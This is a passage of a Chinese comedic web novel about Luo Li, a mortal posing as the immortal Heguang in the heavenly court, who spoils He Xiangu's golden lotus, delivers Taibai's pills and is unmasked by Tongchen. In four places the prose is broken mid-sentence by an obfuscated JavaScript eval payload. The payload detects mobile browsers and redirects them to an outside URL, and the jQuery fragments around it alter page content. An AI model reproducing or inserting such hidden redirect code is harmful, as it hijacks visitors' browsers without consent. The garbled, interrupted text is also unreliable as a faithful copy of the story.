何仙姑本听了故事还在琢磨近些日子下凡渡劫的都有哪些道友,还没开始数呢,便瞧见自己怀中的金莲蔫儿了吧唧的,再仔细一看,金莲八子只余其一,扭头便看见罪魁祸首正往嘴里丢了一颗,来不及拦,差点还被咬了手。 “不就是莲子嘛,这池子里到处都是,仙姑别恼,我这就下去给你折一枝。”洛黎下意识回话,撩着衣摆,抬脚就要往莲池里跳。 众仙子惊呼,还未来得及去拦,一道红光闪进人群,将洛黎揽下扶栏,牵到一旁。 “和光君你这是作甚?”红衣老者童颜鹤发,手中挂着红绳的拐杖连连捶地,拐杖上坠着的金铃“叮当”作响,他劝道,“好不容易回了天庭,这莲池可跳不得。” “你是谁?”洛黎话音未落,眼前又是一阵清风拂面,裹着浓浓酒气,他被人拽着往后跌了几步,定眼一瞧,正是那好酒的司命。 “这不是月老嘛,怎么今日才来赴宴?”司命离开不过盏茶时间,整个仙宛若是跌进酒坛,浑身酒气,站得摇摇晃晃。 这究竟是喝了多少?洛黎又往后挪了几步,他感觉司命身上的味道有些熏眼睛。 司命背着洛黎面朝月老,瞥了眼洛黎,又指了指自己的脑子,摇摇头,俯在月老耳旁低声道:“和光君下凡时不慎摔了脑子,一直不见好,给太白愁得连宴会都没时间来。” 月老长叹:“也怪我。” “都是命。”司命亦是陪着叹气。 洛黎感觉月老看向自己的眼神里突然夹杂了许多悲悯,他又看向司命有些鬼祟的背影,想他是不是背着自己与月老说些什么关于自己的小话。 他正要开口,一道倩影擦过他,打断两人怪来怪去毫无营养的对话。 何仙姑一脸委屈,举着被掏空的金莲凑到司命的眼前:“早有耳闻,你天府宫与启明殿的私交甚密,他启明殿的小仙君毁了我的金莲,既然太白星君不在,那便要你负责。” 蓝采和赶忙上前,将气急的何仙姑护在身后,赔笑道:“这事本就是和光君的错,我们在此说笑,他偏生要折了仙姑的莲。弟子不教,你们星君可不是要替他们负起责任。” 洛黎心中暗叹:不愧是说书的一张嘴,自己分明是无心,到他嘴里竟成了有意,这罪名相当于是从过失上升到了故意,从有期硬掰成了无期。 蓝采和继续道:“仙姑这金莲众仙家都是有所耳闻的,那可是仙姑登仙时观世音菩萨所赠,虽说瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694728|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池青莲亦是仙品,但也是比不了的。” 洛黎听完,也不知道其他人怎么想,自己倒是先抽了口凉气。他看向仙姑,嘴唇翕动,想自己是闯下大祸,可脑中空白一片,只能不停道歉。 “司命,你不给水君我面子,酒才过半巡,怎么就跑了。”水君不嫌事儿大,勾着司命的肩膀,举着玉盏就要往司命嘴里灌。 “水君不急,”司命推开玉盏,直起身,双颊的酡红褪去许多,他双手交握往前一推,“仙姑莫急,随我一同去往启明殿,寻太白妥善处理此事。”他与紫竹林那位并无交集,此事还得靠太白解决,他瞄了眼仙姑手中的莲,不知是酒醉还是愁的,只觉得头疼。 司命如此作派,也算是给足了仙姑面子,她自是不敢再喧闹,只是瞧着怀中枯萎的莲,心中委屈。 水君收敛许多,面色一沉,也是知道此事不好办。 菩萨闲庭信步,耳闻有人嬉闹,缓步走来,一步一莲:“发生了什么?” 众人见是菩萨,纷纷屈身行礼,亦不敢多言。 司命恭敬道:“太白座下小仙君不慎弄坏仙姑的金莲,还望菩萨出手相助。” 菩萨低眉垂目,将仙姑怀中枯朽的金莲扫进眼底,与身后随行的童子低语,上前又道:“贫僧受邀赴宴,来得匆忙,将净瓶落下,”他抬眸扫过众人身上,又柔声道,“仙姑莫要难过,贫僧已命弟子前往珞珈山莲池,为你新折一枝送来,你且静待。” 洛黎学着司命的模样,双手合十冲菩萨鞠身:“谢过菩萨。”又转身对仙姑诚恳道,“望仙姑原谅,我日后定不再犯。” 他见仙姑虽眼角带泪,但仍点了点头。事情至此,洛黎才算是松了口气,想来自己闯的祸已经被摆平。他低垂着头,余光还是不住往红着眼眶的仙姑看去,心中许多愧疚,虽说金莲尚有,但也不是原来那枝了。他多少能够理解仙姑的委屈,只是这祸是自己闯的,情是司命求的,坑是菩萨填的,再细想菩萨许是看在司命的面上,许是其他。 他瞄了眼司命,小步挪近,低声道:“多谢,日后若是有什么我能帮上忙的,我一定好好干。” 司命叹了口气,抬手搭在他的肩膀,语重心长道:“你多将我与太白的话放在心上,少惹事,闲时替太白分摊下业务,便是感谢了。” 洛黎知道这话埋了坑,他并不在意自己犯了错被踹回凡间去,不过命一条,但他不能接受自己承他人善意,而不报,他点头“嗯”了一声,又垂下头不再说话。 司命心中却是大喜,没想到这趟宴会来对了。他本就打算借此机会,让洛黎版的和光君在各仙家心中留下些许印象,再广布他下凡时摔坏了脑子,导致性情有所变化。哪里知道,洛黎这么一遭,登时名声大噪,效果显著。 他强压嘴角的笑意,又循循道:“菩萨心善,这番佛缘亦要由你自己承下。”话一出,司命心中又是暗喜:小样,看我不拿捏你。 5. 第 5 章 洛黎独自乘着仙鹤回启明殿,心中郁闷。 司命说三太子与他还有要事相商,再问,便含糊其辞。他乘在鹤背上回头远远望见,那无绳自捆似胞胎的三人,径直往宴池中去。 洛黎长叹道:扯吧!分明是要去续摊,故意不带他,可转念又想何仙姑一事,多亏司命求情。 菩萨果然守诺,待弟子取来金莲交予仙姑,才缓步离去。 “你俩怎么去这么久,”来人声音懒散,还带着丝稚气,“莫不是要逃?” 洛黎循声看去,来人头扎两个冲天鬏,颈戴金圈,腰系红绸带,光着俩脚丫,一摇一晃朝他们走来。 众人见怪不怪,只有菩萨坐下弟子神色突变,浑身发颤。 洛黎好奇道:“你怎么她了?” “我哪知道?”少年侧头看他,上下打量,“你又是谁?” 洛黎起先还不敢确定,就这傲气,他开始确定,此仙必是托塔李天王家的哪吒三太子。 何仙姑看着怀中菩萨刚给的金莲,出神忆着当年登仙时的种种,更是感慨。她起身想说什么,却见三人连体婴一般地互相搀着走远,叹了口气转眸看向洛黎,正准备开口,又见司命拐了回来,招呼了在一旁逗鱼的仙鹤,将洛黎踹上了鹤背,只道一声“我与哪吒还有要事相商,你先回去。”说罢,甩着长袖追着他们离开。 洛黎搂着仙鹤长颈,不敢松开手,一路颠簸一路腹诽,自己好不容易来一趟,竟连颗蟠桃都没尝上。 启明殿空荡,太白星君窝在炼丹房几日未出门,丹房内时不时传出爆炸的声音,但丝毫未曾影响到启明殿其他工房。 洛黎抱着扫帚,倚着庭院中央的玉柱子张嘴打着哈欠。 他听司命提过,启明殿只有他与同尘君两名掌事的仙君,而传闻中的同尘君在他被勾魂的同一天,不巧被太白安排外出差务,又因近几日瑶池举办盛宴,各宫殿闲空的仙童仙使皆被借调,所以偌大的宫殿眼下只余他一人。 “哈哈哈”洛黎突然笑出声,又赶紧捂嘴,左看右看,见四下无人,抱着扫帚蹲下身,无声地笑得浑身发抖。他想自己方才见到了哪吒、月老和何仙姑这些天庭名人,也不算白来。 丹炉方向又传来一声爆炸,重门被缓缓推开,一股浓烟从里涌出,不知何处而来的乌云飘到丹炉上方,竟下起了局部雨,雨过烟散,乌云下太白浑身湿漉,烧焦的白发贴着脸颊,整个人看起来分外狼狈。洛黎记得自己在书中看过,炼丹那是老君的绝活,没想到太白竟然也会炼丹。 “成了成了。”太白举着手中金丹,笑得宛若孩童。 洛黎也不知道他到底是炼成了什么,但见他如此开心,也替他高兴:“恭喜星君。” 他话出口,太白才意识到院落中竟有人在,直起脊背,广袖扬起,又是初见时仙风道骨的谪仙模样。 “为你专门炼制的脱胎换骨丹,新鲜出炉,趁着还热乎,赶紧服下。”太白眨眼功夫,手捧仙丹,闪现到他跟前。 洛黎眯着眼睛打量起躺在太白掌心中那半截小拇指大小的丹药,又抬眸直勾勾地盯着他的双眼,疑惑道:“我看别家仙丹都是麦丽素大小的圆形,你这个手指一样的椭圆形是怎么回事?” “这,你这是刻板印象。”太白从背后抽出烧了只剩下一半尘尾的拂尘,许是看它有些不顺眼,抖落两下,尘尾焕然一新,丝毫看不出被烧焦的痕迹,“仙家炼丹看重的是功效,岂是方圆等表面虚饰。” 洛黎眉头一皱,他竟然觉得太白说得还蛮有道理。 “赶紧服下,”太白捏着洛黎的下巴,抬手就要将仙丹强行喂进他嘴里,“一会儿凉了,效果就不好了。” “等等等,等一下。”洛黎极限后仰着身子,想要远离太白的手掌,“容我去倒杯水,干咽容易噎着。” 太白扬着拂尘抵在洛黎后背,推搡的手忽的泄劲,又突的一掌拍上,仙丹正好落进洛黎微张的嘴里。 洛黎猛然咳嗽,他本以为会有种仙丹被卡在嗓子眼不上不下的感觉,但意外的是,他什么感觉都没有。他砸了砸嘴,仙丹入口即化,全不知滋味。他会咳,是因为呛了凉气。 “就这?” “就这。”太白笑道,“司命刚给我传了玉简,已将你在宴上所发生的种种尽数告知,你既已愿意暂代和光君一职,入我启明殿,”他转着手腕,拂尘生花,又道,“日后好生处事,定不会亏待你。” 洛黎扯着嘴角“呵呵”笑道:“那我便提前谢过星君了。” 这厢感谢的话音未落,太白那番话头又起:“甚巧,眼下便有一桩要事需得你跑一趟。” “可是星君,这院子我还没扫完呢!”洛黎捡着扫帚,装模做样挥了两下,一脸歉意,“你看这,不巧啊!” 太白拂尘一挥,仙鹤自云中盘旋落下,优雅地走着鹤步,双翅叉腰朝洛黎走来,二话不说一把夺过他手中的扫帚,装模做样地在一旁挥了两下。 “你看,这可巧?”太白捋着胡须,脸上笑得看不见眼。 洛黎陪笑道:“巧,可太巧了!” 太白也不再与他打太极,从左袖中摸出一金瓶递给洛黎:“这是水君要的祛湿丹,目的地是淮水龟山。”又从右边袖中摸出一锦囊递给他,“这是三太子要的绿月巴,目的地是云楼宫。你切记要先将祛湿丹送往淮水畔的龟山交予龙女,再去云楼宫将绿月巴交到李夫人手中。” 洛黎挠着头,眉间轻蹙:“水君和三太子眼下不是正在天庭瑶池赴宴,直接去哪儿交给他们不行吗?” “不可,万万不可。”太白忙打断他的话,“西王母最是忌讳公私不分,送丹是我启明殿公事,而瑶池宴请乃西王母的私事,绝不可混作一团。” 洛黎倒抽了口凉气,这么个惊天大理由,怎么就让他这个天庭跑腿的小喽啰知道了。 太白见他还想说什么,急忙道:“龟山路途遥远,我暂将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694729|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙鹤甲借予你。”说话间,一声鹤鸣,他扭头一看,似是了然,“你看这,不巧啊!仙鹤甲正忙,不过你别慌,我让仙鹤乙陪你跑这一趟。”他拂尘朝天又是一挥,一只仙鹤从天坠下,落地翻滚了两圈,蹒跚着站起,瞧着好似脑子不太灵光。 “请问,启明殿是不是还有仙鹤丙,我能否申请换成仙鹤丙陪同?”洛黎满眼期待地看着太白。 “你看这,不巧啊!”太白捋着白胡,摇头道,“瑶池盛宴不仅缺人,连接送的坐骑也是临时从各宫殿借调的。”他手一抬,仙鹤甲便自觉贴近,甚是亲密,“你赶紧去吧,别一会儿人家先回了。” 洛黎这刚回启明殿没多久,又被赶出了门,骑着老仙鹤,摇摇晃晃往北天门去,心道:这老头,记仇啊! 天宫到淮水龟山的路途确实遥远,一路上一人一鹤晃晃悠悠地在云层穿梭,看凡间无数大好河山。 洛黎忽然有一瞬觉得天庭的日子好像也蛮不错,平日就在启明殿扫扫无尘的庭院,偶尔帮太白跑腿送送丹药,时不时还能看到本以为只存在于神话故事中的仙家名人,最好能再知道些他们的惊天秘闻。 他如此想着,竟憨笑出声:“原来‘快活似神仙’这话是真的。”洛黎拍了拍老仙鹤,“看你的样子,想必离退休也不远了吧?不知道神仙退休后都干些什么。” 仙鹤乙听完,半空中秒降百米,吓得洛黎差点薅掉了它羽衣上为数不多的鹤翎,幸好一人一鹤只是虚惊。 “你可知道淮水龟山到底在哪里?”洛黎看着太白给他画的手稿,只觉得闪着金光的笔画看着更像是某种符箓的图案。 他左右翻看,看不出个所以,正头脑发胀,不知从何处射来的石子擦过仙鹤乙的鸟喙,惊得它忘了煽动翅膀,连带着洛黎一同坠入山里。 洛黎被挂在树杈上,一时间动弹不得,老仙鹤则是四仰八叉躺在了树冠顶,他喊了它两声,见它毫无反应,想它许是摔晕了过去。他挣扎着,好不容易摆脱了树杈的挟持,落了地,发现自己除了有些狼狈竟毫发无伤,再看树冠顶的老仙鹤,摇晃着脑袋,扑着翅膀朝云间飞去。 “等等,我还没上车呢!”洛黎的声音在山谷里声声回荡,他怔了怔,这儿竟然是黑夜。 夜空中繁星点点,挂在墨盘中的月亮好似发了霉的豆腐,朦胧中多了几分柔情似水。沿河的山间,风凉飕飕的,空气中带着股水腥味,可他莫名贪恋这样寻常的夜晚,张着手臂,正准备深吸一口,耳畔突然传来一声尖锐的叫声。 “水君,光合作用成精了!”不知哪儿来的虾兵蟹将许是化形课上睡了觉,要么化身不化头;要么化头不化身,瞧着十分别扭。 洛黎满面黑线,不由暗叹道:嚯,现在连水族都需要上完九年义务教育了吗?说着,他扭头看向山涧潺潺溪水,有一坨光晕倒影在水中,他伸手去碰,圈圈晕开,随他身形一同摇曳。 他双目瞪圆,这光晕竟然就是自己。 6. 第 6 章 洛黎呆愣在原地不敢动,他现在脑子有些宕机。他不解:自己怎么就成了一颗光源体。 一群浑身滑溜溜的虾兵蟹将他押到河滩上,见他没什么反应。其中一只胆子大些的小鱼精,抢了虾兵的鱼叉,轻轻戳他,转而与周身其他水族“吱嗷吱嗷”的不知道在商量什么。 洛黎慢慢寻回视线的焦点,扫向在他身边围了一圈的水族,这是什么意思?他记得不久前,这群水族中的一只还说了人话,怎么,眼下是防着他,种族自带的语言加密? “那个……”他刚开口,水族不约而同退后几步,弓着身子,呲牙咧嘴,摆着防御姿势,黑芝麻般大小的眼睛警惕地盯着他。洛黎咽了咽口水,他想自己眼下在这群水族的眼中定是十分惊恐,抬眼看向那堆黑眸,其中映着一团光晕,他差点忘了,自己眼下是一团发光体。 “呔,你是哪个山头的妖精,敢来淮水水君的地盘闹事。” “不得无礼。”洛黎还没开口,一个年迈的声音已经出声打断,“仙家来此可有要事?我家水君现下正在天庭赴宴。” 洛黎朝声音望去,只见这群水族中自动分出一条道,一身形矮小的老龟精拄着杖缓缓走在其中,瞧着颇有些地位。 “我乃启明殿太白星君座下弟子和光君,受星君之命特来此给水君送仙丹。”说着,洛黎伸手从怀中摸出一锦囊看了两眼,又放回怀里,重新摸出一金瓶,点头道,“不知龙女何在?” “仙君莫急,且容我去问问。”老龟精伸手一探,自虚空中抓出一符玉简,只见他以手指作笔,在上头虚划几笔,流光四溢,见洛黎一直盯着,赶忙背过身去,冲几只虾兵招招手,“赶紧给仙君上些特产。”边说边从水族群中又走了出去。 虾兵四散开去,在浅滩处上蹿下跳,不消片刻给他捧来不少水产。洛黎抬起手,不知该落在何处,想借火,却觉得当着水族的面烧烤,好像不太礼貌。他挑拣了很久,还是将手放下,抓着衣摆蹭了蹭。 说话间,他隐约听到老龟精那道沧桑的声音钻进耳朵。 “喂,龙女娘娘吗?有个叫和光君的,说是太白老儿让他给水君送仙丹,这事情您知道吗?” “那您什么时候回来啊?” “诶诶诶,那您赶紧的,这仙君模样太晃眼,呆久了怕他耽误咱自家小鱼崽睡觉。” 洛黎惊觉,先前也看太白用过,心道是难道这玉简就是天庭版手机?他站起身,见站在水族群外的老龟精收了玉简,一改先前警惕恭敬的模样,又朝他走来。 “仙君,我家龙女娘娘马上就回,您再等等。”他说着将一堆活蹦乱跳的水产推到洛黎面前,“您多吃些,别客气。” 洛黎呆了一会儿,突然悟到了为什么这淮水水君需要祛湿丹。他揉了揉膝盖,这河边的风吹久了,膝盖疼。 身后传来一阵水声,洛黎扭头去看,一面容姣好的女子,在夜幕中身姿曼妙从水中爬了出来,额顶还有两只角,他起身朝后挪去,搂着老龟精,声音发抖:“这这这……” 老龟精鄙视地看了他一眼:“不懂事。”走上前去,搀着她起身,“龙女娘娘,您瞧就是那位。” 龙女娘娘打量着洛黎,手一伸,掌心中央赫然一颗白板,她忙换了只手道:“东西呢?” 洛黎小心翼翼将金瓶递给她。 “还请仙君代我向太白星君问声好。”龙女拿着金瓶又赶忙转身往回走,低声嘟囔,“就这点破事,耽误我打麻将。” 洛黎冲着她的背影双手一拱,转身手脚并用地爬上鹤背,一人一鹤摇晃着离开。他不敢回头,只能硬扛着来着身后的注视。 云楼宫的位置靠近南天门,洛黎方才从北天门出,眼下需从南天门入,路途甚远,仙鹤乙年事已高,又因不久前受了惊吓跌了一跤,翅膀好似坏了的机械臂,不太受它自己的控制,时常扑着扑着就停机,然后秒落百米,又重新挥着翅膀爬高,循环往复,宛若坐了一趟长途跳楼机。 旁的不说,锻炼人之心性倒是格外有效。洛黎起先次次心惊,俯身紧抱仙鹤乙的长颈,生怕不慎摔得粉身碎骨;现在他双腿盘坐,双臂环胸,已经能够做到心无旁骛。 又不知过了多久,一人一鹤终于爬到南天门外,仙鹤乙双腿一软,整只鸟瘫在玉阶上大喘着气,洛黎觉得这一趟下来,它身上的翎羽好像又少了几根。 他想老仙鹤已近退休,还要受他牵连驮着他到处为太白送丹,也是不容易。 “你在此处歇着,云楼宫我独自前往便可。”说着,他抚了抚仙鹤的顶红,手感十分微妙,“辛苦了。”他有点点想去寻司命学一些仙法,主要是想学一学那种能够让自己来去自如的;转念又想,是得去找一趟司命,自己还想申请个玉简,以后若有什么要紧事,也省得到处奔波。 洛黎双手负背,缓缓朝南天门走去,这是他第二次经过南天门。 “嗨!”他冲守卫打了个招呼,虽说上回这厮见死不救,但如今自己过得还算怡然自得,勉强给他记了一分。 守卫身上铠甲“嗙当”作响,他转身看了他一眼,又缓缓挪开视线,活得像个人机。 云楼宫距离南天门并不算远,李夫人好似知道他会来一般,早早就在门口候着,洛黎将锦囊递给她,她眉峰如剑却蕴着三分春水。 “有劳小仙君了。”她不似瑶池宴会上遇见的仙娥,发间只斜簪一支流云如意梳,鬓角散落三两绺碎发,衬得耳垂上的珍珠愈发莹润。 她打量着洛黎,嘴唇翕动,却只是笑笑。 洛黎与她道别,走远后再回头去看,殷夫人还站在门口,手里捏着锦囊,翘首的方向正是瑶池仙会。他想:原来她并不是在等自己,而是在等她的哪吒。 瑶池方向的霞光隐隐落下,鹤鸣由近到远掠过天际,蹄声紧追其后匆匆奔远,弦声惊鸣,渐渐落了尾声。 洛黎端着袖子,迈进启明殿,见庭院中央的石桌上摆着三颗蟠桃,瓷盘下压着一张字条:你被杨戬投诉过吗?落款,是太白二字。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694730|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他双手捧起蟠桃,一股浓郁的桃香扑鼻而来,也顾不上思索字条上的意思,张嘴就咬,甜上心头:这日子真是惬意。 但这份惬意并没有维持很久,因为杨戬携着哮天犬来踢门了。 哮天犬高昂着脖子,目不斜视,走得傲气。洛黎撇头便看到跟在他身后,同样一脸傲气的三眼神君二郎神杨戬。 他赶忙放下手中啃了一半的桃儿,起身迎了上去,恭敬道:“仙家有何要事?” “哼,这老儿逃的倒是快。”杨戬环顾四周,撩起长摆,跨坐在洛黎方才坐过的石凳上,视线不住在他身上来回扫,“你什么时候回来的?” 洛黎知道他说的是和光君,忙道:“承神君惦念,刚回来不久。” “谁惦念你了!”说着,他双眼微眯,斜着眼瞄着洛黎道,“你这是偷吃了何仙姑的金莲子,惹得一身晃眼?”他朝哮天犬招了招手,又继续道,“还真是上梁不正下梁歪。” 洛黎敛了笑,原来何仙姑的金莲子还有这功效。他看向哮天犬,又扭头看向桌上那三颗蟠桃,视线又扫过桃下垫着的那张字条,瞬间了然:不愧是太白老儿。 “不知我家星君犯了何事,惹得神君不悦?”洛黎调整情绪,缓缓道。 杨戬一手挠着哮天犬的下巴,一手从甲胄后摸出一枚仙丹,拍在石桌上:“我要投诉!” 洛黎神色自若,点头“嗯”了一声,心道:得,现在我被杨戬投诉过了。 “请问,神君要投诉什么?”洛黎内心还是有些慌张,主要是仙丹炼制这块的业务,他并不熟悉。 杨戬轻抚哮天的狗头,怒道:“下单前我再三要求,让他想办法给哮天所食用的丹丸中加些骨头味,骨头不行,肉味也行。”他连连拍桌,甚是愤愤不平,“可他呢,说那是额外的功德。行,我给了,那现在呢,你能尝出来这丹丸里有一丝骨头味吗?”他将仙丹捏在手中,递给哮天犬,那哮天连头都不抬,张着嘴打了个哈欠竟趴下了,“委屈我没关系,委屈我家哮天不行。” “神君来得不巧,我家星君眼下并不在殿内。”洛黎满额汗,这太白惹的都什么事儿。 “次次都用这招。上次哪吒用了绿月巴,开花效果并不显著,来找太白时他也是不在家。”杨戬手中三叉戟显形,他重重坠向地,“我可不是哪吒小儿那般容易哄骗的,太白老儿你若再不出来,我就去天帝那儿投诉你!” 他话音刚落,太白自房顶显形,广袖翩然,一挥,人已经落在院内。 “神君,何必呢?没必要没必要哈!”太白挥着拂尘,捋着胡须,笑道,“只是我这儿比不得老君那儿,就一个丹炉,若是添了些旁的味道,那以后其他仙家可怎么服用?” “你这儿除了水君,哪吒还有哮天,还有谁会食用你炼制的丹丸。”杨戬嗤笑道,“本也不是给寻常仙家食用的仙丹,还穷讲究。” 洛黎听这话,只觉得胃里延迟般的一阵反胃,他好像不久前也吞了太白炼制的仙丹一枚。 7. 第 7 章 太白扬着拂尘,勾着杨戬的肩,两人一派哥俩好的模样出了启明殿。 洛黎摸着下巴,轻声道:“如今的仙家都这般接地气吗?” 不知是不是太白老儿那耳朵招风,临出门,回过头来怒瞪了几眼洛黎。 他揉着眼睛想是自己看错了,盘腿坐在地上,准备等太白回来,再好好问问,给自己吃的到底是什么丹丸,可千万别是哮天款试用版,他早就看出那丹丸不对劲,长的就橡根骨头。他咂着嘴,呸了呸,总觉得嘴巴里有股子骨头味。 “和光。” 有人自金色光幕中奔来,青花蓝的长袍被流云涌起风的弧度,束发玉冠中央的宝石折射出细碎星芒,来人逆着光看不清面容,但即便如此,与此时随地而坐的洛黎相比,那也是一个天上谪仙,一个凡间乞儿。 霞光晃眼,洛黎眯着眼,仰头朝人望去,还没看清来人面貌,质问声先传入耳中。 “你是谁?”来人在他一丈外止步,声音陡然陌生了许多。 洛黎深吸了口气,起身朝他走了过去,自他被勾上天庭后,他好像经常被问“你是谁”,他礼貌地冲来人点头笑道:“我是和光君。” 这话是他与司命、太白先行对好的口供。用司命的话来说:要想瞒过旁人,得先骗过自己,每天多说几遍“我是和光君”,久而久之,你就是和光君了。 洛黎想,这大抵就是所谓的千遍谎言成真的意思。 “你不是。”少年冷面,言辞果决,周身仙气瞬间凝成冷雾,衣袂翻飞,盛气凌人。 洛黎眉间紧蹙,忽而又想起司命的话,左手自然锤在右掌心:“你就是同尘君吧?”他眼带笑意道,“都是自家兄弟,何必如此。司命说了,和光君的劫数尚未完成,便由我暂代和光君一职,待他回来我便滚了。” “不需要。”同尘君愤然甩起的长袖,打在洛黎的下巴上,留下一道红印子,还不等他再开口,便见那同尘君足尖点地,纵身跃起,颇有几分旱地拔葱的味道。 洛黎来不及感慨,愣在原地,脑中司命闲谈八卦时那副嘴脸不住闪回,说两人不熟的话也萦绕脑海。 可他怎么觉得同尘君对他充满了敌意。洛黎细思后恍然,他这是与和光君有仇啊! 一声鹤鸣,洛黎昂着头看雪白丹鹤掠过头顶,同尘君落在鹤背,长身玉立。他满眼羡慕,这风姿这道骨,再望向丹鹤行去的方向,正是天府宫。 他挠了挠头,心道:这和光同尘分明都是太白座下仙君,怎么出了事儿,各个都往司命的天府宫挤?再一想,也罢,许是都与太白学的。 洛黎捡起落地的扫帚,哼着歌又继续打扫着启明殿前这片无尘的空地。 太白回来时,肉眼可见憔悴了不少,连带着拂尘都挥得不那么带劲了。进门一看,洛黎还站在院中,正直勾勾地看着他,忙用雪白尘尾掩面,本径直走的步子,拐了方向。 “星君留步。”洛黎甩了那秃毛的扫帚朝太白走去,扯下他掩面的拂尘,笑道,“敢问星君,我吃的那颗丹丸应该不是啸天专用改良款吧?”他问这话时,心中略带不安又参杂了些许期待。 “老朽哪是那般心思腌臜之仙。”太白握着他的手,安慰似地拍着他的手背道,“你乃我启明殿仙君,天庭谁能不知,老朽最是护短。” “护短与你拿弟子试药,有冲突吗?”洛黎手开始发抖,虽说凡间狗粮自己也是吃过不少,但此狗粮非彼狗粮,前者伤心,后者伤自尊呐! 太白斜眼瞪他:“诶,你把老朽想做是什么仙,不得行不得行,老朽伤心呐!” 洛黎满头黑线,这太白老儿已读乱回的能力真是一绝。他抬眼瞧他,见太白正捋着白眉斜眼瞟他,更是气不打一处来。 “你就好好跟我说,那丹药是给人吃的不?”洛黎好声好气道。 太白“嘿嘿”一笑,露出一口好牙:“怎么能是给人吃的呢!” 话音未落,气的洛黎抬手就要去扯他的长眉:“果然,怪不得我看那丹丸形状怪异,你竟然喂我吃狗粮。” “年轻,还是太年轻。”太白化作一道白烟,飘向启明殿正殿房顶,洛黎双手落了空,仰头望去,“那可是仙丹,真正的仙丹。你这娃娃……”太白手执拂尘指他,还准备说什么,似是想起什么,神色突变,一个闪现,又落在洛黎身前,“可是同尘回来了?” 洛黎点点头。 “完了。”太白话音未落,人已经乘云出了启明殿。 “话说一半,多膈应人。”不过太白出了门,殿内又独剩他一人,乐得清闲,长摆一撩,又就地坐下,双手托着下巴,望着启明殿大门发呆。 如此办公,何求啊!他正感叹着,忽觉后衣领被人拎起,随后整个人腾空浮起,又是被人扛上了肩,一路在云层间横冲直撞。 “到了。” “这是哪里。”再落地时,眼前“天府宫”三个大字,分明是1080高清画质,愣是被洛黎看出了480高糊,摇晃着身子站起身,只觉得胃中翻涌,“不让戴头盔,还超,超速了吧!” “哎哟,这不是和光君嘛,什么风把你吹来了?” “什么和光君,我是……”洛黎话还没说完,被一巴掌全部堵回肚子,他看着面前不住冲他挤眉弄眼的司命,一脸狐疑,可嘴被捂着,说不出半句话。 太白见这两人演技拙劣,甩着拂尘,正色道:“同尘,眼下和光也在,有什么话就摊开了说吧。” 洛黎这下安静了,也不挣扎了,他知道司命方才不是患了眼疾,而是想告诉他同尘君也在。他挺直脊背,昂着头,将胸前的几缕头发,拨到身后,冲同尘君微微颔首。 不就是配合领导演戏嘛,洛黎想自己在凡间也没少干。演技,他可是专业的。 “他不是和光君。”同尘君抱拳冲着太白和司命两人一拱,转手直指着洛黎道,“此人定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694731|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是使了某种障眼法,让他与和光模样相似,但被我一眼识破,他不是。” 太白捋着胡须摇头道:“同尘呐,老朽知晓你与和光感情颇深,只是和光此番历劫归来,伤了脑袋,自然是与先前有所不同。” 洛黎一听这话,完蛋,没有对上口供,要露馅了。 同尘君冷哼一声:“此人先前与我说,和光历劫尚未归来,是司命让他暂代和光君一职,可是与星君所言不一。” 此话一出,洛黎只觉得有两道视线,直直地瞪向自己,他缓缓仰起头,挪开视线,不与他们对上。他哪里知道,这厮竟然不是自己人。 司命恨铁不成钢,自己千叮万嘱,同尘与和光并不熟,怎得这人就是记不住,还露了馅。 “多亏同尘提醒,老朽差点就将这事儿给忘了。”太白拂尘扬过,面色如常,“是矣,和光改了归期,我竟忘了告诉你。” 洛黎心中大惊,佩服之情油然而生,不愧是太白金星,这信口拈来的胡诌能力,他真是望尘莫及。 “对对对,”司命将洛黎推上前,“我几日前路上捡了个小仙童,这不看启明殿缺人,便先暂借给星君跑腿使。” 对什么对啊!洛黎一脸不可置信地看向司命,我分明是被你强行勾上天的,好吗?他震惊还未多久,后脑勺被人拍了一下,他回头去看,太白冲他挤着眼,努着嘴。 